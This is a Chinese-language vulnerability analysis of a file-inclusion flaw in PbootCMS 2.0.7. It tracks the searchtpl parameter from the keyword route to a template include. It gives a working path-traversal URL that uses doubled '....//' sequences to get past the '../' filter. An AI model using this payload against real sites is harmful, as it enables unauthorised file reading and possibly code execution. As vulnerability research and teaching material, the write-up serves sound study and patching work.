PbootCMS 2.0.7 文件包含漏洞
1.漏洞复现
PbootCMS 2.0.7,下载仓库 · 星梦/PbootCMS - Gitee.com
复现
访问触发:http://127.0.0.1/?keyword&searchtpl=....//....//....//....//....//....//....//flag.txt
2.逆向分析
从敏感函数逆向分析
View类
/core/view/View.php
敏感函数 include 位于 View类 的 parser方法
View类 的 parser方法
public function parser($file)
{
...
$file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径
...
$tpl_file = $this->tplPath . '/' . $file; // 模板文件
...
$tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件
// 当编译文件不存在,或者模板文件修改过,则重新生成编译文件
if (! file_exists($tpl_c_file) || ...) {
$content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错!请检查目录是否有可写权限!'); // 写入编译文件
$compile = true;
}
...
$rs = include $tpl_c_file;
模板引擎,会包含 PHP缓存文件 $tpl_c_file
生成 PHP缓存文件 所需要的模板文件的路径由 $tpl_file 控制
$tpl_file 由 $file 控制,$file 路径中的 ../ 可以双写绕过
Controller类
/core/basic/Controller.php
View类 的 parser方法 是 Controller类 的 parser方法 调用的
Controller类 的 parser方法
// 解析模板
final protected function parser($file)
{
$view = View::getInstance();
return $view->parser($file);
}
SearchController类
/apps/home/controller/SearchController.php
Controller类 的 parser方法 是 SearchController类 的 index方法 调用的
class SearchController extends Controller
{
...
public function index()
{
$searchtpl = request('searchtpl');
...
$content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
可以看出只要对 searchtpl 进行 GET请求,就可以控制文件包含的路径
IndexController类
/apps/home/controller/IndexController.php
SearchController类 的 index方法 是 IndexController类 的 _empty方法 调用的
public function _empty()
{
// 路由
switch ($param[0]) {
case 'search':
case 'keyword':
$search = new SearchController();
$search->index();
break;
所以也需要对 keyword 进行 GET请求,才能触发文件包含漏洞